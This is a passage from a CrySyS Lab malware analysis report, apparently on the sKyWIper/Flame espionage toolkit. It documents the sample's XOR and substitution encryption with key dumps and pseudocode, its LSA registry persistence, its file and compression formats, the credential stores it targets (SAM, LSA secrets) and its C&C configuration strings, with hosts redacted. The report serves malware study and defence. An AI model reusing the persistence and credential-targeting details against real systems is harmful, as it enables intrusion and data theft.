v2  result if ( a2 )  v3  11 - result do  result  (v3  v2)  (v3  v2  6)  88 (_BYTE )v2 - result  ((unsigned __int16)((v3  (_WORD)v2)  (v3 (_WORD)v2  6)  88)  8)  ((unsigned int)((v3  v2)  (v3  v2  6)  88)  16) ((unsigned int)((v3  v2)  (v3  v2  6)  88)  24) v2 --a2  while ( a2 )  return result Figure 19  Encryption  E4B --  found in 4748.dll, possibly used on resource 164 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  28 0000000: 4909 caa4 11f3 63f7 2a30 58d8 43eb 3d83 0000010: 626b 542e d0ca 5f07 599a 07ca 556a f059 0000020: 0d17 b7a2 1c8a 4ac9 bc75 c1e6 30fb 898e 0000030: a8e3 51e2 16bd ea65 02e3 a83b 4555 0a3f 0000040: a6e7 ccfb 19b8 72df 5a57 810a 5cce d1a8 0000050: 5ef8 b871 a07a 9db3 0bcf c786 65d9 100e 0000060: 9d54 3445 f52f d9e1 0b66 b885 d165 1ec1 0000070: 0685 0c3a 7cd1 55e1 11db e3b2 5712 41a0 0000080: 836c 1680 054d 852c aec3 1f54 20bf 7ed2 0000090: 7a7c c6f7 220e c0c6 8921 ca51 d0e4 92e6 00000a0: acf4 016c 35ff 79a0 5dac c9ff 7f62 3e9e 00000b0: 070c 629e 9095 11a4 37ef 2b89 0fa5 3df4 00000c0: e0f6 0799 7176 a633 e728 66cb 8826 b714 00000d0: 23dc 0817 9433 e906 d376 16ba 08fa 9841 00000e0: bb6c 82c7 d0d6 4efe a076 a45a 6704 d430 00000f0: 4c64 bff4 d731 cea2 0f7f 3613 9659 b178 0000100: af91 81a2 7325 f22d d3d7 8cb8 ff13 f748 0000110: 9604 41c1 1b19 3d5f 3cc6 e5c2 3635 2731 0000120: dcb9 3c77 9995 38d8 46bc 80d2 f6aa c069 0000130: 0a7b ca91 f2ad 0da2 a45f 966d 7457 9b58 0000140: d78e 6336 d4a3 0d98 a312 23b9 66e3 5a53 0000150: 1134 d01c 1b48 b7e8 8d0b 6a49 c400 27f0 0000160: eef1 fb0e 36ee f395 0277 0bd2 1983 6dfe 0000170: 3666 45fb 98c9 fd5a 300d 7a24 4c46 4861 0000180: c929 09b6 6861 ae81 7a61 2fd0 7121 7c04 0000190: 7809 b5c9 a9d5 670d 9959 1291 58e7 bc54 00001a0: 8111 e1f2 5092 dc54 49b2 622b 7eee a22d 00001b0: bef2 c085 02f6 d4c4 f674 c2de ef1f c626 00001c0: c095 ec9b 2115 d279 6d76 4693 f3c9 41ac 00001d0: a355 1806 0b41 25c8 d853 0579 d404 0bb1 00001e0: 2720 5ab9 755d 2e79 15af 9946 5c42 ea8a 00001f0: e2b8 dd91 7d4c 7c9d f2a7 35a6 09d2 f927 0000200: a826 0a7f d54c 413a af8a 9cb2 4d4e d7c4 0000210: 54b7 ecbb b6ce 5391 62b8 0e59 26e9 671e 0000220: b075 eb6e 6ea3 5a7f 9e66 7d99 4d8c 6184 0000230: 113c 8698 a22c cfb9 2eaf bcf4 fa90 07a3 0000240: 1f17 1217 1115 ac72 031d 380e 1ff5 e374 0000250: 925f 6b71 4831 924d a7dd 2b81 ed45 78f4 0000260: 4385 5ef5 11af 7509 df54 743e c31f 38b3 0000270: afd9 521e a93b ffa6 fd85 c9a6 4ee4 00f6 0000280: 1eb0 9aa3 dfb6 ba3a bd5e 54dd 4ecf 75e7 0000290: 9b4c 7d55 cdb5 4e18 b18c 712b d52f 50cd 00002a0: f9ec 5f2f bd22 73c9 ea85 3b40 91f6 7079 00002b0: 552c 9252 4614 78a3 8edf d7e1 1f21 5db1 00002c0: 280c 843b a23e 4fbe 862f a7f5 400d a7d1 00002d0: a2c8 b165 b728 21f3 7548 afa3 46e0 3422 00002e0: b49f 76b4 239b 3aa0 6fd4 2d2b d7b0 eaed 00002f0: 1656 2416 5132 721e ccdf 50a1 9862 8252 0000300: b080 88a9 9036 ac52 adbc 789f 4c29 537d 0000310: 5413 debd b867 77d8 966b adc6 8871 a14c 0000320: 16f3 f3c4 f8b6 f47a fde5 d4b6 df5d 3518 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  29 0000330: d9e3 c883 3e30 c885 3dcc 110d 1708 bb4b 0000340: d85c e180 3e27 e216 3ed9 0c3b d50c 2432 0000350: dc80 76ec c1ba 4a9f 3419 3482 f2c6 0220 0000360: f004 72e5 83df 5711 4f20 50c6 778d 6af6 0000370: 5063 d245 8987 89a3 0f9a 5f97 be52 459e 0000380: bd87 7276 0ca3 2873 597d 61a7 0a80 5475 0000390: 660e c136 6730 f151 7d3b ce5e 968f a227 00003a0: ec52 f10c 475c dbf3 4a86 abad e1d2 22b5 00003b0: c5c3 4cea 347d 063a 27ac cb61 82c5 1822 00003c0: 95c4 211b e1bc 4870 7fe7 5e87 1aec a435 00003d0: 1bf1 5a9b 0523 2767 93df 0ddb 1247 9509 00003e0: 3801 8437 c626 ffe4 a773 da85 1d61 b45f 00003f0: 0630 fa64 264b 7277 d286 6453 5c81 e9e9 Figure 20  Encryption E5 --  DEB93D encryption key, 1024 byte XOR key used repeatedly Encryption key E5 might be calculated, but it can also be found in attack tables in memory dumps.
Simple XOR with a constant is also used to encrypt files in multiple places.
For instance, Boot32drv.sys is an encrypted data file with simple XOR with 0xFF.
to691.tmp is always among the first files that was installed into infected systems.
The file contains configuration data and log results, very similar to the audcache.dat, but it is encrypted in a different way, as follows.
to691.tmp is encrypted cyclically by XOR-ing with a 16-byte long binary string.
The string was found to be individual on the samples.
As the cleartext file contains many 0x00 characters, the XOR key can be easily found by statistical means.
The method is described in Figure 21 as Encryption E6A.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  30 for i0..15: take all characters from file at n16i generate statistics on characters key[i]find most common character for i0..filesize: decrypted[i]encrypted[i] XOR key[i16] Figure 21 Encryption E6A  TO691 1 st stage generic decryption pseudocode The decrypted text after E6A is still not cleartext database format, but one can easily see that it is very similar to the file format of audcache.dat (after decryption).
The second stage is a mono-alphabetical substitution, for which it may not be impossible to find a short mathematical formula to calculate the substitutions, but so far we were not able to find that.
Instead, we manually investigated the file and built a partial substitution table on the characters used.
The partial table is denoted as E6B in Figure 22.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  31 0  0 1 2 3 4 5 6 79 7 8 9 A B 6a C 69 D E F 10 2e 11 12 13 37 14 15 36 16 17 18 57 19 55 1A 41 1B 1C 1D 1E 1F 20 21 22 23 24 6D 25 55 26 27 30 28 29 2A 2B 6c 2C 6e 2D 2E 44 2F 30 6F 31 32 73 33 34 78 35 58 36 37 38 39 ED 3A 3B B0 3C 3D 3E 3F 40 41 42 43 6c 44 45 2c 46 47 48 68 49 4A 4B 2d 4C 2f 4D 4E 4F 50 51 38 52 53 54 55 56 57 58 59 45 5A 47 5B 5C 5D 5E 5F 20 60 61 62 63 52 64 65 35 66 3f 67 68 69 6A 49 6B 6C 64 6D 57 6E 6F 70 71 72 73 32 74 75 2d 76 77 78 79 7A 7B 7C 4D 7D 54 7E 7F 80 4f 81 82 83 84 7e 85 86 42 87 88 89 8A 33 8B 8C 8D 8E 8F 34 90 51 91 76 92 93 BA 94 95 46 96 97 70 98 99 9A 9B 4a 9C 4e 9D 9E 3e 9F A0 A1 75 A2 A3 A4 62 A5 6b A6 A7 3A A8 A9 7d AA AB AC 63 AD 67 AE AF B0 B1 B2 B3 B4 B5 31 B6 B7 B8 FE B9 72 BA BB 32 BC BD 66 BE BF C0 43 C1 C2 74 C3 C4 C5 C6 C7 C8 C9 CA CB 53 CC CD CE 48 CF 77 D0 D1 5b D2 D3 D4 D5 50 D6 D7 D8 D9 DA 4c DB DC DD 56 DE 59 DF E0 4b E1 5d E2 E3 E4 E5 E6 65 E7 FF E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 25 F6 F7 7a F8 F9 FA 5f FB 61 FC FD FE 5C FF Figure 22 Encryption E6B  TO691 2nd stage substitution table  known elements (left: cipher character, right: cleartext character) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  32 We also share some samples with the encryptions above to make it easier to pinpoint the encryption algorithm: 0000000000: FF F5 FF FF FF FE FE 23  FC FF FF FE 6F FE FF E4  o 0000000010: CE 4C 3E 00 00 00 00 00  00 00 FD FB FF FF FF 46  L       F Figure 23  Sample for encryption/encoding boot32drv.sys  simple XOR with 0xFF 0000000000: 75 EA EA EA FA 15 66 EA  EE 15 66 EA EA EA E0 EA  uff 0000000010: EA F7 EF FC 24 EA EA EA  0D 0D 0D 0D 91 EA EA EA Figure 24  Sample for encryption/encoding made with encryption E1 0xEA  0x00 4.2.
Registry parts The malware does not modify too many registry keys as most information, data, configuration are stored in files.
The affected registry entries are the following: For installations and startup, LSA is abused: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Autenthication Packages will contain in new line mssecmgr.ocx: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] Authentication Packageshex(7):6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,6d,\ 00,73,00,73,00,65,00,63,00,6d,00,67,00,72,00,2e,00,6f,00,63,00,78,00,00,00,\ 00,00 For some communications between processes wave8 and wave9 are used.
Wave8 possibly stores some PID, but this is just a guess.
Wave9 is a name for the stored version of the main module: 23:34:34,1794024 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 NAME NOT FOUND Length: 536 23:35:05,5405919 wmiprvse.exe 2472 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 NAME NOT FOUND Length: 536 23:35:39,6297465 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 NAME NOT FOUND Length: 144 23:35:39,6299138 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 NAME NOT FOUND Length: 144 23:35:39,6300097 rundll32.exe 2388 RegSetValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6302820 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  33 23:35:39,6313420 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314414 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314604 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315540 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315727 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6332115 rundll32.exe 2388 RegSetValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra1\common1\micros1\msaudio\wavesup3.drv 23:35:50,6732679 alg.exe 2848 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra1\common1\micros1\msaudio\wavesup3.drv 23:35:50,6733205 alg.exe 2848 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra1\common1\micros1\msaudio\wavesup3.drv 23:36:17,4627767 services.exe 748 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra1\common1\micros1\msaudio\wavesup3.drv Figure 25  Wave9 communications 23:34:29,5181519 wmiprvse.exe 2248 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 NAME NOT FOUND Length: 536 23:34:34,1793845 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 NAME NOT FOUND Length: 536 23:35:05,5405737 wmiprvse.exe 2472 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 NAME NOT FOUND Length: 536 23:35:39,6273171 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 NAME NOT FOUND Length: 144 23:35:39,6277806 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 NAME NOT FOUND Length: 144 23:35:39,6278907 rundll32.exe 2388 RegSetValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6292151 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6293931 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6294881 rundll32.exe 2388 RegSetValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:50,6732487 alg.exe 2848 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:17,4627582 services.exe 748 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:17,5738388 services.exe 748 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:36:23,7643698 iexplore.exe 3240 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  34 23:36:43,0717217 iexplore.exe 3520 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: 23:37:02,2292562 iexplore.exe 3632 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8 SUCCESS Type: REG_SZ, Length: 2, Data: Figure 26  Wave8 communications 4.3.
Compression and table formats The file ntcache.dat found among the DAT files contains logs from the inspected target computer.
However, there are references for ntcache.dat as SFS Storage.
STORAGE.SFS.FILES.ntcache?dat.REINITIALIZE_ME STORAGE.SFS.FILES.ntcache?dat.DELETE_ME STORAGE.SFS.FILES.lmcache?dat.MAX_SIZE STORAGE.SFS.FILES.lmcache?dat.BACKUPsKyWIper Figure 27 Winlogon.exe with injected code working with ccalc32.sys - procmon We present the beginning of the binary format for ntcache.dat below.
0000000000: 02 30 30 30 30 30 30 31  45 5C 30 30 30 30 30 30  0000001E\000000 0000000010: 30 30 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 0000000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000C0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000D0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000E0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00000000F0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000100: 00 96 02 00 00 E6 57 1B  5B 5E 88 CC 01 01 00 00     W[ 0000000110: 00 28 01 0A 00 00 00 FF  FF 00 00 43 00 4D 00 44   (       C M D 0000000120: 00 02 00 00 00 33 00 0C  00 00 00 FF FF 00 00 44      3        D 0000000130: 00 45 00 53 00 43 00 0C  00 00 00 42 00 47 00 66   E S C    B G f 0000000140: 00 4C 00 6F 00 77 00 2A  00 00 00 FF FF 00 00 52   L o w        R 0000000150: 00 45 00 51 00 55 00 45  00 53 00 54 00 45 00 44   E Q U E S T E D 0000000160: 00 5F 00 46 00 49 00 4C  00 45 00 5F 00 4E 00 41   _ F I L E _ N A Figure 28  Binary format of ntcache.dat (beginning) We could not decide if the format is custom or just some strange binary format.
A comparison with HLV473.tmp, a file that contains a list of running processes, reveals the sequences 78 DA ED and 78 DA 73 standing for a zlib inflate compressed format.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  35 0000000EF0: 00 00 00 00 00 00 00 00  00 00 00 00 2B A0 80 B1 0000000F00: 01 06 00 00 00 78 DA ED  9D 5B 6C 1D C7 79 C7 F7     x[ly 0000000F10: 90 94 A2 9B 15 56 37 D3  94 AA 9E 28 B2 2C 2B 0A  V7(, Figure 29  78 DA ED compressed record in ntcache.dat 0000000000: 78 DA 73 E0 67 60 E0 65  60 60 60 01 E2 FF FF 19  xsge 0000000010: 18 18 81 34 63 02 1B 03  03 3F 10 E8 00 39 22 40  ?
4c?
9 0000000020: CC 03 C4 1C 40 3C 81 E5  BE 64 68 DB 19 90 1A B0  ?
dh?
Figure 30  78 DA 73 compressed record in HLV473.tmp After decompression, we observe the following: 0000000000: 40 0F 00 00 0D 00 00 00  04 00 00 00 FF FF 00 00 0000000010: 01 00 00 00 01 60 06 00  00 0F 0F 0F 0F 2C 00 00       , 0000000020: 00 14 00 00 00 0C 00 00  00 08 00 00 00 90 04 DF            ?
0000000030: 19 55 86 CC 01 00 00 00  00 0F 0F 0F 0F 28 00 00  U    ( 0000000040: 00 18 02 00 00 10 02 00  00 0C 02 00 00 FF FF 00 0000000050: 00 46 00 61 00 72 00 2E  00 65 00 78 00 65 00 00   F a r .
e x e 0000000060: 00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20 0000000070: 00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20 Figure 31  78 DA 73 compressed record decompressed beginning from HLV473.tmp information on running processes inside (Far.exe) We also found PPMd compression format in ntcache.dat, probably marked by 8F AF AC 84.
This is used by some libraries and programs including 7-zip, winzip, perl Compress:PPMd.
0000000450: 00 00 00 00 02 00 43 01  24 65 B3 A9 3A AF 59 00       Ce:Y 0000000460: 00 00 55 00 00 00 8F AF  AC 84 0F 01 9A 46 20 4F    U   F O 0000000470: ED 10 62 9C E0 42 02 D4  82 83 AF 02 6F CE DE 7D  bBo Figure 32  8F AF AC 84 PPMd compressed record in ntcache.dat The same PPMd compression is used in the advnetcfg.ocx info-stealer (?)
module: .text:1002E2F4                 lea     eax, [ebpvar_24] .text:1002E2F7                 push    eax .text:1002E2F8                 push    4 .text:1002E2FA                 pop     ebx .text:1002E2FB                 mov     [ebpvar_10], 84ACAF8Fh  PMMD magic .text:1002E302                 call    sub_1000C28D .text:1002E307                 mov     byte ptr [ebpvar_4], 1 .text:1002E30B                 mov     ebx, eax .text:1002E30D                 call    sub_1000C439 .text:1002E312                 mov     byte ptr [ebpvar_4], 0 Figure 33   8F AF AC 84 magic usage in advnetcfg.ocx Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  36 Many DAT files have the following structure:  A table is stored in a file, containing key-value pairs.
The key-value pairs are separated by multiple 0xFF characters (like padding), in some files with multiple 0xAE characters (Duqu often used 0xAE as well).
Between the key and value 0xFF, 0xFE separates the data.
The DEB93D files contain Samba / nmb lookups in a proprietary table format 0000000000: 26 C1 30 0E 51 36 XX 4F  03 00 00 22 00 00 00 31  0Q6XO     1 0000000010: 00 39 00 32 00 2E 00 31  00 36 00 38 00 2E 00 30   9 2 .
1 6 8 .
0 0000000020: 00 2E 00 31 00 31 00 20  00 57 00 50 00 41 00 44   .
1 1   W P A D 0000000030: 00 52 36 XX 4F 03 00 00  22 00 00 00 31 00 39 00   R6XO     1 9 0000000040: 32 00 2E 00 31 00 36 00  38 00 2E 00 30 00 2E 00  2 .
1 6 8 .
0 .
0000000050: 31 00 31 00 20 00 57 00  50 00 41 00 44 00 52 36  1 1   W P A D R6 0000000060: XX 4F 03 00 00 2E 00 00  00 31 00 39 00 32 00 2E  XO  .
1 9 2 .
0000000070: 00 31 00 36 00 38 00 2E  00 30 00 2E 00 31 00 31   1 6 8 .
0 .
1 1 0000000080: 00 20 00 47 00 4F 00 4F  00 47 00 4C 00 45 00 2E     G O O G L E .
0000000090: 00 43 00 4F 00 4D 00 53  36 XX 4F 03 00 00 22 00   C O M S6XO Figure 34  8F AF AC 84 PPMd compressed record in ntcache.dat The table format is as follows: Ater 4 bytes header every record begins with UNIX timestamp (like 0x4FXX3651 in the figure), then 03 00 00 is some kind of record header, 22 refers to record length, but you should add 3, as the next 00 00 00 is not strictly related to the record, so the real payload without the 00 00 00 string is 0x22 bytes long.
Most of the records are readable queries like the ones above, but some contain raw samba protocol data.
The creation of DEB93D files are connected to nteps32 export functions, possibly EnableSHR, but this is not confirmed yet.
4.4.
Data storage formats Although the HLV and KWI file formats are not yet fully understood, these files contain data resembling to database table records and some records of the above described compressed formats.
From the extracted contents of some of these data files we found that they all (HLV, KWI, and even ntcache.dat) contain basic information on running processes.
The information is about 1000-2000 bytes of redundant data.
It contains the actual status of the running program, and in some cases, historical data as well.
In some cases, they seem to contain screenshot related information besides the list of running processes.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  37 Further investigations on these files indicated that the KWI files have different purpose as shown in the figures below: HighSeverityStorageFileName - KWI989.tmp LowSeverityStorageFileName - KWI988.tmp Figure 35  KWI file names found in ccalc32drv.sys, labels hint the purpose of the KWI files CommonProgramFiles\Microsoft Shared\MSAudio\ CommonProgramFiles\Microsoft Shared\MSSecurityMgr\ CommonProgramFiles\Microsoft Shared\MSAPackages\ Figure 36  Dat Storage  possible locations (this is the same as Nteps32 exports) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  38 4.5.
Logging file list The malware saves rfnumber files in /windows/temp.
This operation seems to be automatic, but perhaps it may also be remotely controlled.
These files are encrypted with the E1 encryption algorithm (see above).
After decryption, the file appears to be an SQLite3 database, storing information on drivers, directories, and file names.
Figure 37  SQLite database format for rf files [file db] Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  39 Figure 38 File list of the file system in the rf files Discussion: Storing full directory listing in SQLite databases is something you wont expect from a malware.
Its very strange as it raises complexity and the need for space, and in addition it leaks information through the database structure.
Note that the SQLite browser application cannot see full filenames as they are stored in Unicode format in blob entries, and the first \x00 stops viewing them.
4.6.
Saving additional information The malware is curious about lot of things.
Some examples from the long list of interests are shown in the figure below: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  40 HKLM\Security\Policy\PolSecretEncryptionKey  string double compressed in res146 select  from CIM_HostedAccessPoint ?
root\cimv2 ?
Access PointsW string from res146, compressed F HKIU\Software\Microsoft\office -?
?
res146 compressed string HKIU\Software\Adobe\Adobe Acrobat  surely interesting from propagation perspective.
res146 compressed string HKIU\Network  res146 compressed string HKLM\SAM\SAM\Domains\Account\F P  string from res146 compressed strings Figure 39  Items the malware is interested in Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  41 5.
CC communication CC communication is defined under the name GATOR.
Resource 146 contains key-value pairs or templates related to GATOR configuration.
GATOR.CMD.SUCCESS_VALIDITY GATOR.LEAK.MIN_BYTES_TO_LEAK GATOR.LEAK.SUICIDE_LOG_LEAK_SIZE GATOR.LEAK.BANDWITH_CALCULATOR.LEAK_SECS GATOR.INTERNET_CHECK.MIN_TIME_BETWEEN_CHECKS GATOR.INTERNET_CHECK.CURRENT_FAILURES_COUNT GATOR.INTERNET_CHECK.SERVERS.size GATOR.INTERNET_CHECK.SERVERS.1.prev GATOR.INTERNET_CHECK.SERVERS.1.next GATOR.INTERNET_CHECK.SERVERS.1.data GATOR.INTERNET_CHECK.SERVERS.1.data.
TIMEOUT GATOR.INTERNET_CHECK.SERVERS.1.data.
URL GATOR.INTERNET_CHECK.SERVERS.1.data.
VALIDITY (servers are stored in the file from 1 to 6) GATOR.SERVERS.size GATOR.SERVERS.first GATOR.SERVERS.last GATOR.SERVERS.free GATOR.SERVERS.1.prev GATOR.SERVERS.1.next GATOR.SERVERS.1.prev GATOR.SERVERS.1.data.
USESSL GATOR.SERVERS.1.data.
PORT GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev (gator servers are defined from 1 to 5) Figure 40  Gator communication related data in resource 146 of mssecmgr.ocx (main module) We received information of more than 50 different domain names related to the CC communication and more than 15 distinct IP addresses.
CC servers are changed frequently by changing the IP address of the particular host/domain name (the well-known fluxing technique used by botnets).
Many more configuration settings and logs for CC communications can be found in the to691.tmp file.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  42 C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat https://XXXX.info:443/cgi-bin/counter.cgi https://XXXX.info:443/cgi-bin/counter.cgi  GATOR.SERVERS.1.data.
SITE SINGLE_CMD_RUNNER GATOR.SERVERS.1.data.
SITE XXXX.info-XXXXX.com GATOR.SERVERS.1.data.
URL cgi-bin/counter.cgi-wp-content/rss.php  GATOR.SERVERS.-1.SITE [NoValue]-XXXX.info GATOR.SERVERS.-1.USESSL [NoValue]-False GATOR.SERVERS.-1.TIMEOUT [NoValue]-180000 GATOR.SERVERS.-1.URL [NoValue]-wp-content/rss.php GATOR.SERVERS.-1.PORT [NoValue]-80 GATOR.SERVERS.-1.PASSWORD [NoValue]-LifeStyle2  XXX.info SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE.SECS_BETWEEN_RUNS [NoValue]-87654 P_CMDS.RESTORE_REDIRECTION_STATE.MAX_RUNS [NoValue]-2 P_CMDS.RESTORE_REDIRECTION_STATE.CMD_BUF [NoValue]-BUF_SITE:271 CRC:525FXXXX P_CMDS.RESTORE_REDIRECTION_STATE.NUM_OF_RUNS [NoValue]-0 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.LEAK.NEXT_REQUEST_TIME 314821-1222222222 GATOR.LEAK.NEXT_REQUEST_SYS_TIME 133XXX2106-1222222222 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER MANAGER.FLAME_ID 13XXXXX15X-13 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.CMD.NEXT_REQUEST_TIME 340504-0  COMAGENT COMAGENTWORKER WEASEL IDLER CommandExecuter CommandFileFinder MICROBE MICROBE_SECURITY GadgetSupplierWaitThread MICROBE_SECURITY MICROBE SINGLE_CMD_RUNNER C:\WINDOWS\system32\advpck.dat C:\WINDOWS\system32\advpck.dat, EnableTBS C:\WINDOWS\system32\advpck.dat C:\WINDOWS\system32\ntaps.dat, EnableSHR C:\WINDOWS\system32\ntaps.dat, EnableOFR Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  43 SINGLE_CMD_RUNNER Figure 41  To691.tmp strings on CC communications and other activity Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  44 6.
Attack details  dictionary and scripts The file dstrlog.dat contains a ClanDB for names and terms used by the malware, an SQLite database used for attacks.
This file is loaded through libclandb.lua by SQL commands, and the database is accessed using Lua scripts.
We disclose detailed description of the SQLite database to show the SQL tables used for attacks.
The attackers even take care of versions, and update the structure if necessary.
The sample below shows a version upgrade script.
